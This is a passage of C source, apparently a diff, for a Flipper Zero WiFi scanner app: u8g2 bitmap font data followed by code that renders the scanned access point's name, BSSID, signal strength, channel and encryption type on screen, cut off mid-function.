"\366\7aH\372\357\303\377\177\1\0((\266\14v\14sD\363\216\63\317@\22\13,\221\304\22\211$" - "\261D\42\351\223ER\262\304\42K,\262\212v\261L\241\1)$\266\14\266\26\263D\233\254\305\42K" - ",\222\310\42\351_$\222\304\22I,\260\304\2\313\263\301\22\307\7\7\0*/\266\14\366\207\207\210\244" - "\261PH\11\205\14\62F\61a\10C\36\30\306\261\2\317C\215\10\262\310(\251\20\202\212!h\234\261" - "\2\12\37\376,\0+\33\266\14\366\207\207\210\244\267\36\30\344\201A\36\30\344\201\261\210\244\337\207\277\14" - "\0,\30\266\14\366\207\377\377\300\220%\32hI\42\307\34rH\42\7\15\15\0-\26\266\14\366\207\177" - "\352\201`\36\10\346\201`\36\10\37\376\277\4\0.\21\266\14\366\207\377\377\0\211\6\332\42\371p\22\0" - "/.\266\14\366\33\223\304\22I,\221H\22\211$\221H\22\211$\221H\22K$\261D\22K$\261" - "D\42I$\222D\42\211\34\65|x\17\0\60I\266\14\366\7\266<\324\324b\251\220\202\210!\247\230" - "b\310)\206\30SJA\204\24\22\10!e\10B\10\31\203\20\62(B\306 \224\30\205\20\22\206!" - "\4\31R\214)\245\34b\312!\247\224r\12)\211-\325\20,\37^\7\61\26\266\14\366\7\226@\363" - "NKL\265!\210\244\377\377\367\341y\0\62'\266\14\366\7\325\70\265Xr\247\24s\306)($\42" - "i\261D\22\13\254\277H\311g\36\10\346\201`\36\10\37\36\6\63-\266\14\366\7\324\70\265Xri" - "\230\222\2\42\222\26\313\63,\265\363RS\261\310\42i) \202\304)\207\224r\36jj\265\363\341y" - "\0\64\65\266\14\366\7\232H\22\13\264\336q\310\215@\32\11\204\21A\330\30d\221A\24!$\221B" - "\22)\4\21C\316\3\203<\60\310\3\203<\60\36\221\364}x\32\0\65*\266\14\366\7\361\235\337!" - "\222N\20\306TK\16\25b\316\70%\5T$\275#P)\4\21cJ\61\17\265\245\234\371\360:\0" - "\66>\266\14\366\7\327\70\265Xj\250\224\221\310\11\211H\22K$\243(\22\22z\347\201`L)\246" - "\234R\10*\205$RH\42\205$R\12\42\206\234b\212!\250\220\202\232b+=\363\341q\0\67-" - "\266\14\366\7\360\201`\36\10\346\201`\236$\261D\22K$\222\304\22I,\221H\22K$\222\304\22" - "I\254\42\211U$\261|\370\4\0\70;\266\14\366\7\325\70\265Xj\250\224r\212!\207\356\24C\20" - ")$\225Q\324b\251)U\204I\244\224C\31\202J!\211\24\222H!\211\224r\212)\245\234\207\232" - "Z\355|x\35\0\71\71\266\14\366\7\265\274\304\326b\251\220\202\210!\247\230b\10\42\206 b\10\42" - "\206 b\312\241L\71\205\30\344\251\23\10\33\203H\42\207$*\34\222D)\251%\266\322+\37>:" - "\27\266\14\366\207\77A\242\201\266H>|\210D\3m\221|\70\11\0;\34\266\14\366\207\77A\242\201" - "\266H>|\210D\3\255X$\221C\222HM\361\1\1< \266\14\366\207\271\60G,\357\264\304\360" - "\265\363J<\20\301\23/\210\301\3\215$T|\370\25\0= \266\14\366\207\317=\60\310\3\203<\60" - "\310\3\343\303\352\3\203<\60\310\3\203<\60>\374g\1>\36\266\14\366\207\266\240D\32\210\37<\261" - "\274\323\20\303\332\325P;\257\304\61\305\207\277\6\0\77%\266\14\266\67N\251\206\236\61\245\34r\312\21" - "\211H*\226Hb\201u\221H\352C\226D\3m\221|x\36\0@G\266\14\366\7\266\274\264\32r" - "\247\230b\10\42\205(B\306Ad\24\65\6ac\20\66\306(\204\214\61H!c\14R\310\30\203\24" - "\62\306\250\306\30m\220\301\310 \213\20R\2!d\222YNH.\265\245\234\371\360\70\0A<\266\14" - "\366\7\67PA\307\34\262\304\2\15<\357\70\22H#\201\264!\10#\203,\62\310\32e(RHj" - "\311\235\357\220S\12I\244\220T\6Yd\220E\6Y%\220F><\13\0BD\266\14\366\7\217)" - "\207\36\10\346\201`\310\61\205\240RH\42\205$RH\42\205\240R\310)\346\201`\336\371@\60\4\225" - "BR!D\21B\24!D\21B\24!$\25B\220!\17\210\362@\60\357\264\17\217\3C/\266\14" - "\366\7\327\264\245\32z\306\24S\312)\244$B\210\22\206\304\22\211\244'K,\222\310\22\213\12\247\240" - "a\214)\346\241\246V\63\37\36\7DC\266\14\366\7o\255\226\336y\207\30c\10*\205\240RH\42" - "\205\244B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204\244BH\42\205\240" - "R\10\42\206\30c\336q\250\245\365\341y\0E'\266\14\366\7\357\1Q\36\20\345\1Q\36\20\205H" - "\372\344;\277C$\375\344\3\242< \312\3\242< ><\14\0F\35\266\14\366\7\360\201`\36\10" - "\346\201`\36\10\206H\372\244C>D$\375\357\303W\0G:\266\14\366\7\326\70\245\32z\306\24S" - "\312)\244$a\210$\261D\42i&\15b\322 &\15b\322(\212\20\242\10!\212\220\222H)\210" - "\24c\212y \34\227\30;\37\36\7HM\266\14\366\7\217$RH\42\205$RH\42\205$RH" - "\42\205$RH\42\205$RH\42\205$R\36\20\345\1Q\36\20\345\1QH\42\205$RH\42\205" - "$RH\42\205$RH\42\205$RH\42\205$RH\42\205$\362\341a\0I\24\266\14\366\7\320" - "!_#\222\376\377k\357\374>\274\14\0J\33\266\14\366\7\264\245\236#\222\376\377\222\60%\215BR" - "S\213\245W>|\1\0KI\266\14\366\7\257\244\62H*\204\240R\310)\206\230rH)\210\24\222" - "\10!\212\14\262\210(\213\204\302RKM\261\22\312\42\203,\62\212\42\244$RH\42\245 b\312!" - "\247\30r\212!\250\24\222\12!\251\20\242\312\207g\1L\32\266\14\366\7\260D\42\351\377\377\311\7D" - "y@\224\7Dy@|x\27\0MU\266\14\366\7\217,\62\310\42\243\244\62J*\303\34\63\314\61" - "\343\224\63N\71\3\33$\214\61\2\31$\320\6\21#\14A\6\21#\14A\6\31eP\243\14\32!" - "\203\220A\310 \213\14\262\310 \213\14\262\310 \213\14\262\310 \213\14\262\310 \213\14\262\310\207g\1" - "NS\266\14\366\7\217(BJ\42\244$B\14\42\304 B\316!\344\34B\220!\204\4R\10!\201" - "\24B\210 \204\22\204P\203\42dP\204\22\204P\202\20RH \204\230\21\10!\6\21r\16!\347" - "\20\202\14!\310\20\222\12!\251\20\242\10!\212|x\27\0OC\266\14\366\7\325\70\265Xr\247\224" - "r\310)\245 RH*\204(\62\212\42\203,\62\310\42\203,\62\310\42\203,\62\310\42\203,\62\212" - "\42\204(BH*\244 b\310)\246\224\202\134bK\71\363\341u\0P\60\266\14\366\7\257\245w\36" - "\10\346\1Q\10*\205\244B\210\42\204(B\210\42\204(BH*\204\240R\36\20\345\201`\34b\212" - "H\372\357\303g\0QJ\266\14\366\7\325\70\265Xr\247\224r\310)\245 RH*\204\244\62\212\42" - "\203,\62\310\42\203,\62\310\42\203,\62\310\42\203,\62\212\42\204\244BH*\244 b\310)\246\224" - "\202\134b+\271\23\211$R\265\344\20\64\37@\0RC\266\14\366\7\217)\207\336y \30rL!" - "\250\24\222H!\211\24\222H!\211\24\202J!\247\230\7\202y\307!\246H!\211\24\222H)\210\30" - "\202\210)\207v\212!\210\30\202J!\211\24\222\312\207w\1S\61\266\14\366\7\365\264\245\32z\207\230" - "\12\211C\222\70DV\321D\364\262\207\242\221ER&,b\302\42e\244B\214)\345\1a^b\354" - "|x\35\0T\27\266\14\366\7\356\1\62\36 \343\1\62\36 \212H\372\377\377>|UH\266\14\366" - "\7\257$B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204" - "(B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\244\240B\12*\245\230b\36rJ\71\363" - "\341u\0V>\266\14\366\7\216\60\42\10#\203(B\210\42\204(R\10\42\206 b\10\42\207\30\202" - "\210!\210\30\222H\31\212\20\242\10!\213\214\301\210 \214\10\322H\30\16{\6Z\221H\42\7\25\37" - ">W\134\266\14\366\7n\22\303\15A\212(D\220\62\10\21\244\14B\4!\204\214A\10!\23)c" - "\20\62\312\30\204\10\63\6!\302\10B\210\70\201\20\42N\30f\204!F\30\346\210\21\206\71\342\230#" - "\216\61\304\30C\12*\244\240B\12\42\206 b\10\42\206\240q\206\22H(\201\304\207\247\1XB\266" - "\14\366\7\217(BH\42\206 b\212!\210\224\202\12!\212\214\242\212 \214\204\302\222;\320\300\22K" - "\64\357<\324\24#\202,\62\212\42\204$R\12\42\206\34rJ)\210\24\222\312(\252|x\26\0Y" - "\60\266\14\366\7\216\254\42\212\42\204\244B\12\42\206 b\212!\210\30\202\12!\212\20\242\212 \214\10" - "\322H\30\16\275\363L,\221H\372\357\303\363\0Z\63\266\14\366\7\360\1Q\36\20\345\1Q\36\10\222" - "D\22K\244b\211$\226H\305\22I,\260D\22\13,\261\300\22\37\20\344\201A\36\30\344\201\361\341" - "]\0[\23\266\14\366n\251\227\210\244\377\377\77\331R\357C\10\0\134+\266\14\66\21\262H\42\213$" - "\262H\42\213$\262Hj\22I&\221d\22Id\221D\26Id\221D\26IM\42\311\14\37\36\1" - "]\20\266\14vn\251'\351\377\377_\352\373\220\2^!\266\14\366\7WL\42I\64\357<\324\210 " - "\213\14\262\10!\211\24\222\210!I\34\361\341\377\17\2_\26\266\14\366\207\377\377\247\36 \343\1\62\36" - " \343\1\362!\3\0`\33\266\14\266\11UPA\307$\222\310\22\213,\261\310\42\251\71Q\361\341\377" - "g\0a\60\266\14\366\207\217\236\266\222C.\15S$\325Rj\347\231\7\202)\207\224\202H!\211\24" - "\202J)\345\230\7\202y \34\25H\62\203|x\30\0b;\266\14\66.\221H\372\215\242HH\350" - "\235\7\202\61\305\224rJ!\251\20\222\12!\212\20\242\10!\212\20\242\10!\212\20\222\12)\210\24c" - "Jy \230w\206Hh\220\362\341u\0c(\266\14\366\207\257\32\247\224;\17\4S\225\202\206!I" - "\230\22\211\244\311\42\211,H\240b\310y \34\247\224\63\37\36\7d;\266\14\366\7\207H\372\251\62" - "\10J\201\234g\36\10\245\30S\10*\244\240BH*\204(B\210\42\204(B\210\42\244\240B\12*" - "\245\234R,\363@\70\17\245@T\31\344\303\273\0e,\266\14\366\207\217\236\266TC\317T\206 b" - "H\42\344\201A\36\30\344\201A\36\30\204H\42\253\24\216\61\344<\344\322r\346\303\343\0f\35\266\14" - "\366\7\302\70\265Xj\250\230\201\312\11\211H\312\71\344cD\322\377\367\341\23\0g=\266\14\366\207o" - "\26R\314\3\241< \10!j\224R\16}\247\224r\314(\251\251\265\324\42a\64\42[z \234\7" - "\202y@\20\222\312 \213\14\262\310(\251\214\7Fy \34\267\220\7h<\266\14v.\221H\372\215" - "\242\210@\210\4u\336\71\244\30c\210)\207\30\202\210!\210\30\202\210!\210\30\202\210!\210\30\202\210" - "!\210\30\202\210!\210\30\202\210!\210\30\202\310\207\207\1i\30\266\14\366\7`\310\22+\71>$S" - "\313I\372\277\326R\357\303\323\0j\37\266\14\366\7d\310\22+\71>\364\230\342I\372\377\227\204)\210" - "\220\202\134bK\71\363A\0k\71\266\14v.\221H\372\241R\310)\206\230rH)\210\220\222\310(" - "\212\210\262H(Lck\25Q\24!%\221R\20)\5\21S\16\71\305\20T\12A\206\220d>\274" - "\12\0l\21\266\14vVL'\351\377\377\330;\277\17/\3m@\266\14\366\207\257\221PF!+\234" - "\361\0\31\17\24QF\21\325 \204\10B(A\10%\10\241\4!\224 \204\22\204P\202\20J\20B" - "\11B(A\10%\10\241\4!\224 \204\22\204P\37\236\5n:\266\14\366\207\357\221Q\24\21\10\275" - "\363\316!\305\224CL\71\304\20D\14A\304\20D\14A\304\20D\14A\304\20D\14A\304\20D\14" - "A\304\20D\14A\304\20D><\14\0o\62\266\14\366\207\257\32\247TC\357\224bJ\71\245\220T" - "FIe\220E\6Yd\220E\6Yd\24E\10I\244\224SL)\306<\324\324r\346\303\343\0p" - "=\266\14\366\207\317\221Q\24\11\11=\20\314\3\301\230bJ\71\245\220T\10I\205\20E\10Q\204\20" - "E\10Q\204\20E\10I\205\24D\212\61\245<\20\314;$$DFQD\322\367\301\1q\71\266\14" - "\366\207\217\32AP\12\344<\363@(\305\230BP!\5\25B\24!D\21B\24!D\21B\24!" - "%\221BP)\345\224b\231\7\302y(\5\242\312 \222~\30\0r\37\266\14\366\207\17\22R\22\21" - "\351<\20\314\3\301\34#\216\71\342\224X\42\221\364\277\17\37\1s,\266\14\366\207\217\232\306\222C\317" - "\24C\16A\343\24\24R\211\351)\227\340\221\305\10E\214P\244\224S\312\3\341\270\304\332\371\360:\0" - "t\35\266\14\366\207\234\220\364\332;\277E$\375\223\305\4U\212XL\261\245\232\371\360\66\0u;\266" - "\14\366\207\317\221D\12I\244\220D\12I\244\220D\12I\244\220D\12I\244\220D\12I\244\220D\12" - "I\244\220DJ\71\245\224SL)\306<\20\316C)\20U\6\371\360\60\0v\63\266\14\366\207\257\25" - "E\10Q\204\20E\12I\303\20DL\71\3\21C\20\61$\221\62\24!D\21\62\30\21\204\21A\32" - "\11\303!w\240\201E\22\71>|wH\266\14\366\207\217Q\202\60\42H\31\204\214Q\6!c\224A" - "\310 \243\14j\224A\215\62F\31\303\210Q\206\30a\210QH\230\304($Lb\24\22\204@\306\14" - "s\314\60\307\14sJ)\247\224\202H!\211\24\362\341i\0x\63\266\14\366\207\317\221DJ\71\305\24" - "C\20)D\221QT\21\204%\207\334\201%\232w\36j$\224U\4Q\205\220DJ\71\305\224R\20" - ")$\225\17\357\2y<\266\14\366\207\317\225T\10I\244\220DJA\304\220CC\304\20D\12I\205" - "\20E\310Xd\20F\4aD\14\67\2q\347\35h`\221T$,\24\262\4!L-\325\320+\37" - "\24\0z&\266\14\366\207\357=\20\314\3\301<\20\314\213$\26X\213$\26X\27\13|@\220\7\6" - "y`\220\7\306\207w\1{$\266\14\366\7\342\264\304\324Z\253\300\22\211\244_$\357<\3\15<\262" - "H\372'K,r\255\305\224C\32\0|\16\266\14\366\7\200H\372\377\377\377\357\3}#\266\14\266\66" - "\20\271\324\224,\222\376d\221d\36h\336q\310\221H$\375\213e)\246Xj\347\3\1\0~\31\266" - "\14\366\207/\232\23\214\42d<\60\306\3\303\210\202`\371\360\377\303\0\0\0\0\4\377\377\0"; - -/* - Fontname: open_iconic_arrow_2x - Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE - Glyphs: 28/28 - BBX Build Mode: 0 -*/ -const uint8_t u8g2_font_open_iconic_arrow_2x_t[644] = - "\34\0\4\4\5\5\4\4\6\20\20\0\0\16\0\16\0\0\17\0\0\2g@\17\352i\302$P\376\221" - "\12\64\246\310\11\2A\22O%\303\24Z\360X\242\17^\20\36-<(\0B\22O!\303\32\134\364" - "`\22\17\236\222\35,:\20\0C\17\352)\302$\216\224\31\24\212\4\312\77\2D\37\20\42\302eP" - "\25!\62\205\212\24*a\210#\304E\17\222 F\244P\231\42\245\24\232\2E \20\42\302ePU" - "\11\63E\216\220\71Ah-a\302e\15\241 s\244\310\231\22\246\24\232\2F\37\20\42\302eP\225" - "\211\62G\212\234!\201\310laj\27\221\70C\344H\31\23\245\24\232\2G\37\20\42\302ePU\221" - "\62\205\212\20#A\360haD\34\231(T\244P\31B\244\24\232\2H\21\12.\302C\214\376\215\212" - "$\207\212\15\14\4\0I\23P\341\302\25\134\364`\27\17\36\204xBz\270P\0J\23P\341\302*" - "|\64\221\27\17\36\204px \0U\23\20\42" - "\302\360\201x\230\212&k\22\235J\302\364\14\0V\34\320\241\302\34\36\200\30\27/\204\12\21\32\36\302" - "\240B\204\212x\341F<\200\300\0W\32\220\241\302&\230\354hq\202\304\221\21\306L\14\71A\342D" - "\217%,\14\0X\37\20\42\302\302\210\221@A\2\205K$\314\210\70\42\344\204\30\23$\134BA\2" - "\5q\2\0Y$\17\42\302\34\134\304\270TF\306\214\20\64bH\260\262\203\211\226\34\42$\320\230\21" - "\42H\245+,:\10\0Z\30\220!\303\32\36\200\360\321\4S\61\351\206\324 q\202\4\206\12\17\0" - "[\34\320\241\302`\324X\30q&D-J!&\211\230`a\204\313P\220@A\34\1\0\0\0\4" - "\377\377\0"; - -/* - Fontname: -Adobe-Courier-Bold-R-Normal--11-80-100-100-M-60-ISO10646-1 - Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. - Glyphs: 18/873 - BBX Build Mode: 0 -*/ -const uint8_t u8g2_font_courB08_tn[199] = - "\22\0\3\3\3\4\2\3\4\6\11\0\376\6\376\7\377\0\0\0\0\0\252 \5\0\353\0*\11$\357" - "\212P$\241\0+\12-\353\12\206J\301\20\0,\7\233\345\221$\1-\5\15\357(.\5\212\351\20" - "/\14\304\347K\212\205b\241X\14\0\60\12=\351\231Hx\221L\0\61\10>\351\22\21u\62\62\11" - "=\351\231\250\211\264\34\63\14=\351\231\250I\206\24\311\4\0\64\14>\351\223\215\42ZlB\11\0\65" - "\12=\351\270Q\324F\26\0\66\14=\351\231Hh\24\11E\62\1\67\13=\351\270\310D\62\221L\4" - "\70\15=\351\231H(\222\211\204\42\231\0\71\14=\351\231H(\22\32E\62\1:\6\242\351\20\12\0" - "\0\0\4\377\377\0"; - -/* - Fontname: -Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO10646-1 - Copyright: Public domain font. Share and enjoy. - Glyphs: 95/1003 - BBX Build Mode: 0 -*/ -const uint8_t u8g2_font_7x13B_tr[1083] = - "_\0\3\3\3\4\3\5\4\6\15\0\376\11\376\11\0\1}\2\330\4\36 \5\0\356\7!\7J\303" - "\307\241D\42\10\235\332\207\204E\0#\20\315\302OR$r\230\244\34&I\221\10\0$\17N\302\227" - "\214\22\321F\223\250Dh\42\0%\17N\302\307H\22\251\4e\212\221JD\64&\17N\302\317H\242" - "\247\221$\62\251\210&\1'\7\42\327\307!\0(\14\314\302\227D$\21\251\211d\2)\15\314\302\207" - "L$\23\251\210$\42\0*\15\66\306O(&:\224d\241\10\0+\13\66\306\227Pt(\11E\0" - ",\10\244\276\317\212\22\0-\6\16\316\207\1.\10\234\276\217\204\42\1/\14N\302\247\232P\246(\23" - "\12\1\60\16N\302\227,\24\21\361$\11\305D\0\61\13N\302\227l\24\21\352\311\0\62\16N\302\17" - "ED\22\212F\62\241\320\0\63\15N\302\207Q\246F\25\222$\24\0\64\15N\302\247lD\221\220H" - "\207\240\2\65\16N\302\307!(\254\210\204B\222\204\2\66\16N\302\17ED\24VDL\22\12\0\67" - "\15N\302\207QM(\23\312\204\62\0\70\16N\302\17E\304$\241\210\230$\24\0\71\16N\302\17E" - "\304$)\12I\22\12\0:\14\304\276\217\204\42\207I(\22\0;\13\304\276\217\204\42\236L\224\0<" - "\10N\302\247LW\35=\7&\312\207\35j>\11N\302\207T\67\35\1\77\16N\302\17ED\22\212" - "fr\230P\4@\17N\302\17%\266R\211L\252\61\11\5\0A\13N\302\17E\304t\30q\22B" - "\14N\302GE\304t\21\61]\0C\13N\302\17ED\324\223\204\2D\12N\302GE\304O\27\0" - "E\13N\302\307!\250X\21*\32F\13N\302\307!\250X\21j\4G\14N\302\17EDT)\61" - "I\12H\13N\302\207\210\323a\304I\0I\11N\302\207I\250O\6J\12N\302\247>\222$\24\0" - "K\17N\302\207lD\221\220f$\211\22-\0L\10N\302\207P\77\32M\13N\302Gpt\70\210" - "x\22N\15N\302\207\210T\251\34&M$\1O\13N\302\17E\304O\22\12\0P\13N\302GE" - "\304t\21j\4Q\14V\276\17E\304S\205\62\241\12R\15N\302GE\304t!I\224h\1S\16" - "N\302\17ED\224R\205$\11\5\0T\11N\302\207I\250\237\0U\12N\302\207\210\77I(\0V" - "\15N\302\207\210I\22\312D\23*\1W\13N\302\207\210\247\303A\64\14X\17N\302Gp$\11\205" - "h\62R\212h\30Y\14N\302\207\210$!\321\204:\1Z\12N\302\207QMG\241\1[\10\314\302" - "\207I\237\10\134\14N\302\207P*\224*J\205\2]\10\314\302\7I\237\14^\11&\326\227\214\42\32" - "\6_\7\26\276\307\241\0`\7\234\336\207L\1a\12\66\302\17Ur\42I\12b\13N\302\207P\261" - "\42\342t\1c\13\66\302\17EDT\222P\0d\12N\302\247\226\23'I\1e\14\66\302\17Et" - "\30\212$\24\0f\14N\302\327H\242(\243\11\265\1g\16F\272\317\22IB\221RD\22\12\0h" - "\13N\302\207P\261\42\342I\0i\12N\302\227P\16\32\352dj\14^\272\247:L\250#IB\1" - "k\15N\302\207P\23EB\42I\224\4l\10N\302\317P\77\31m\12\66\302\207Dr\70\61\11n" - "\11\66\302GE\304\223\0o\12\66\302\17E\304IB\1p\13F\272GE\304t\21*\2q\12F" - "\272\317\211IR\324\0r\11\66\302GED\324\10s\15\66\302\17E$\21KD\22\12\0t\14F" - "\302\217PV\22j\21M\0u\11\66\302\207\210'I\1v\13\66\302\207\210IB\242\211\0w\13\66" - "\302\207\210\351p\11E\0x\14\66\302\207\210$!QD$\1y\14F\272\207\210\223\244H\222P\0" - "z\12\66\302\207Q&\222\11\15{\14\314\302OI&\221ID\262\1|\7J\303\307\3\1}\15\314" - "\302\307L$\221Id\242\12\0~\11\36\332\217\350\20\222\0\0\0\0\4\377\377\0"; - -/////// INIT STATE /////// -static void wifi_scanner_app_init(SWiFiScannerApp* const app) { - app->m_context = Undefined; - - app->m_totalAccessPoints = 0; - app->m_currentIndexAccessPoint = 0; - - app->m_currentAccesspointDescription.m_accessPointName = furi_string_alloc(); - furi_string_set(app->m_currentAccesspointDescription.m_accessPointName, "N/A\n"); - app->m_currentAccesspointDescription.m_channel = 0; - app->m_currentAccesspointDescription.m_bssid = furi_string_alloc(); - furi_string_set(app->m_currentAccesspointDescription.m_bssid, "N/A\n"); - app->m_currentAccesspointDescription.m_secType = furi_string_alloc(); - furi_string_set(app->m_currentAccesspointDescription.m_secType, "N/A\n"); - app->m_currentAccesspointDescription.m_rssi = 0; - app->m_currentAccesspointDescription.m_isHidden = false; - - app->m_prevAnimationTime = 0; - app->m_animationTime = ANIMATION_TIME; - app->m_animtaionCounter = 0; - - app->m_wifiModuleInitialized = false; - -#if ENABLE_MODULE_DETECTION - app->m_wifiModuleAttached = false; -#else - app->m_wifiModuleAttached = true; -#endif -} - -int16_t dBmtoPercentage(int16_t dBm) { - const int16_t RSSI_MAX = -50; // define maximum strength of signal in dBm - const int16_t RSSI_MIN = -100; // define minimum strength of signal in dBm - - int16_t quality; - if(dBm <= RSSI_MIN) { - quality = 0; - } else if(dBm >= RSSI_MAX) { - quality = 100; - } else { - quality = 2 * (dBm + 100); - } - - return quality; -} - -void DrawSignalStrengthBar(Canvas* canvas, int rssi, int x, int y, int width, int height) { - int16_t percents = dBmtoPercentage(rssi); - - //u8g2_DrawHLine(&canvas->fb, x, y, width); - //u8g2_DrawHLine(&canvas->fb, x, y + height, width); - - if(rssi != NA && height > 0) { - uint8_t barHeight = floor((height / 100.f) * percents); - canvas_draw_box(canvas, x, y + height - barHeight, width, barHeight); - } -} - -static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - SWiFiScannerApp* app = ctx; - furi_mutex_acquire(app->mutex, FuriWaitForever); - - canvas_clear(canvas); - - { - switch(app->m_context) { - case Undefined: { - canvas_set_font(canvas, FontPrimary); - - const char* strError = "Something wrong"; - canvas_draw_str( - canvas, - (128 / 2) - (canvas_string_width(canvas, strError) / 2), - (64 / 2) /* - (canvas_current_font_height(canvas) / 2)*/, - strError); - } break; - case WaitingForModule: -#if ENABLE_MODULE_DETECTION - furi_assert(!app->m_wifiModuleAttached); - if(!app->m_wifiModuleAttached) { - canvas_set_font(canvas, FontSecondary); - - const char* strConnectModule = "Attach WiFi scanner module"; - canvas_draw_str( - canvas, - (128 / 2) - (canvas_string_width(canvas, strConnectModule) / 2), - (64 / 2) /* - (canvas_current_font_height(canvas) / 2)*/, - strConnectModule); - } -#endif - break; - case Initializing: { - furi_assert(!app->m_wifiModuleInitialized); - if(!app->m_wifiModuleInitialized) { - canvas_set_font(canvas, FontPrimary); - - const char* strInitializing = "Initializing..."; - canvas_draw_str( - canvas, - (128 / 2) - (canvas_string_width(canvas, strInitializing) / 2), - (64 / 2) - (canvas_current_font_height(canvas) / 2), - strInitializing); - } - } break; - case ScanMode: { - uint8_t offsetY = 0; - uint8_t offsetX = 0; - canvas_draw_frame(canvas, 0, 0, 128, 64); - - //canvas_set_font(canvas, FontPrimary); - canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); - uint8_t fontHeight = canvas_current_font_height(canvas); - - offsetX += 5; - offsetY += fontHeight; - canvas_draw_str( - canvas, - offsetX, - offsetY, - app->m_currentAccesspointDescription.m_isHidden ? - "(Hidden SSID)" : - furi_string_get_cstr(app->m_currentAccesspointDescription.m_accessPointName)); - - offsetY += fontHeight; - - canvas_draw_str( - canvas, - offsetX, - offsetY, - furi_string_get_cstr(app->m_currentAccesspointDescription.m_bssid)); - - canvas_set_font(canvas, FontSecondary); - //canvas_set_custom_u8g2_font(canvas, u8g2_font_tinytim_tf); - fontHeight = canvas_current_font_height(canvas); - - offsetY += fontHeight + 1; - - char string[15]; - snprintf( - string, sizeof(string), "RSSI: %d", app->m_currentAccesspointDescription.m_rssi); - canvas_draw_str(canvas, offsetX, offsetY, string); - - offsetY += fontHeight + 1; - - snprintf( - string, sizeof(string), "CHNL: %d", app->m_currentAccesspointDescription.m_channel); - canvas_draw_str(canvas, offsetX, offsetY, string); - - offsetY += fontHeight + 1; - - snprintf( - string, - sizeof(string), - "ENCR: %s", - furi_string_get_cstr(app->m_currentAccesspointDescription.m_secType)); - canvas_draw_str(canvas, offsetX, offsetY, string); - - offsetY += fontHeight; - offsetY -= fontHeight; - - canvas_set_custom_u8g2_font(canvas, u8g2_font_courB08_tn); - snprintf( - string, - sizeof(string), - "%d/%d", - app->m_currentIndexAccessPoint, - app->m_totalAccessPoints); - offsetX = 128 - canvas_string_width(canvas, string) - 5; - canvas_draw_str(canvas, offsetX, offsetY, string); - - canvas_draw_frame( - canvas, offsetX - 6, offsetY - canvas_current_font_height(canvas) - 3, 128, 64); - - canvas_set_custom_u8g2_font(canvas, u8g2_font_open_iconic_arrow_2x_t); - if(app->m_currentIndexAccessPoint != app->m_totalAccessPoints) { - //canvas_draw_triangle(canvas, offsetX - 5 - 20, offsetY + 5, 4, 4, CanvasDirectionBottomToTop); - canvas_draw_str(canvas, offsetX - 0 - 35, offsetY + 5, "\x4C"); - } - - if(app->m_currentIndexAccessPoint != 1) { - //canvas_draw_triangle(canvas, offsetX - 6 - 35, offsetY + 5, 4, 4, CanvasDirectionTopToBottom); - canvas_draw_str(canvas, offsetX - 4 - 20, offsetY + 5, "\x4F"); - } - } break; - case MonitorMode: { - uint8_t offsetY = 0; - uint8_t offsetX = 0; - - canvas_draw_frame(canvas, 0, 0, 128, 64); - - //canvas_set_font(canvas, FontBigNumbers); - //canvas_set_custom_u8g2_font(canvas, u8g2_font_inb27_mr); - canvas_set_custom_u8g2_font(canvas, u8g2_font_inb27_mr); - uint8_t fontHeight = canvas_current_font_height(canvas); - uint8_t fontWidth = canvas_current_font_width(canvas); - - if(app->m_currentAccesspointDescription.m_rssi == NA) { - offsetX += floor(128 / 2) - fontWidth - 10; - offsetY += fontHeight - 5; - - canvas_draw_str(canvas, offsetX, offsetY, "N/A"); - } else { - offsetX += floor(128 / 2) - 2 * fontWidth; - offsetY += fontHeight - 5; - - char rssi[8]; - snprintf(rssi, sizeof(rssi), "%d", app->m_currentAccesspointDescription.m_rssi); - canvas_draw_str(canvas, offsetX, offsetY, rssi); - } - - //canvas_set_font(canvas, FontPrimary); - canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); - fontHeight = canvas_current_font_height(canvas); - fontWidth = canvas_current_font_width(canvas); - - offsetX = 5; - offsetY = 64 - 7 - fontHeight; - canvas_draw_str( - canvas, - offsetX, - offsetY, - furi_string_get_cstr(app->m_currentAccesspointDescription.m_accessPointName)); - - offsetY += fontHeight + 2; - - canvas_draw_str( - canvas, - offsetX, - offsetY, - furi_string_get_cstr(app->m_currentAccesspointDescription.m_bssid)); - - DrawSignalStrengthBar( - canvas, app->m_currentAccesspointDescription.m_rssi, 5, 5, 12, 25); - DrawSignalStrengthBar( - canvas, app->m_currentAccesspointDescription.m_rssi, 128 - 5 - 12, 5, 12, 25); - } break; - case ScanAnimation: { - uint32_t currentTime = furi_get_tick(); - if(currentTime - app->m_prevAnimationTime > app->m_animationTime) { - app->m_prevAnimationTime = currentTime; - app->m_animtaionCounter += 1; - app->m_animtaionCounter = app->m_animtaionCounter % 3; - } - - uint8_t offsetX = 10; - uint8_t mutliplier = 2; - - for(uint8_t i = 0; i < 3; ++i) { - canvas_draw_disc( - canvas, - offsetX + 30 + 25 * i, - 64 / 2 - 7, - 5 * (app->m_animtaionCounter == i ? mutliplier : 1)); - } - - canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); - //canvas_set_font(canvas, FontPrimary); - const char* message = "Scanning"; - canvas_draw_str( - canvas, 128 / 2 - canvas_string_width(canvas, message) / 2, 55, message); - } break; - case MonitorAnimation: { - uint32_t currentTime = furi_get_tick(); - if(currentTime - app->m_prevAnimationTime > app->m_animationTime) { - app->m_prevAnimationTime = currentTime; - app->m_animtaionCounter += 1; - app->m_animtaionCounter = app->m_animtaionCounter % 2; - } - - uint8_t offsetX = 10; - uint8_t mutliplier = 2; - - canvas_draw_disc( - canvas, - offsetX + 30, - 64 / 2 - 7, - 5 * (app->m_animtaionCounter == 0 ? mutliplier : 1)); - canvas_draw_disc( - canvas, - offsetX + 55, - 64 / 2 - 7, - 5 * (app->m_animtaionCounter == 1 ? mutliplier : 1)); - canvas_draw_disc( - canvas, - offsetX + 80, - 64 / 2 - 7, - 5 * (app->m_animtaionCounter == 0 ? mutliplier : 1)); - - 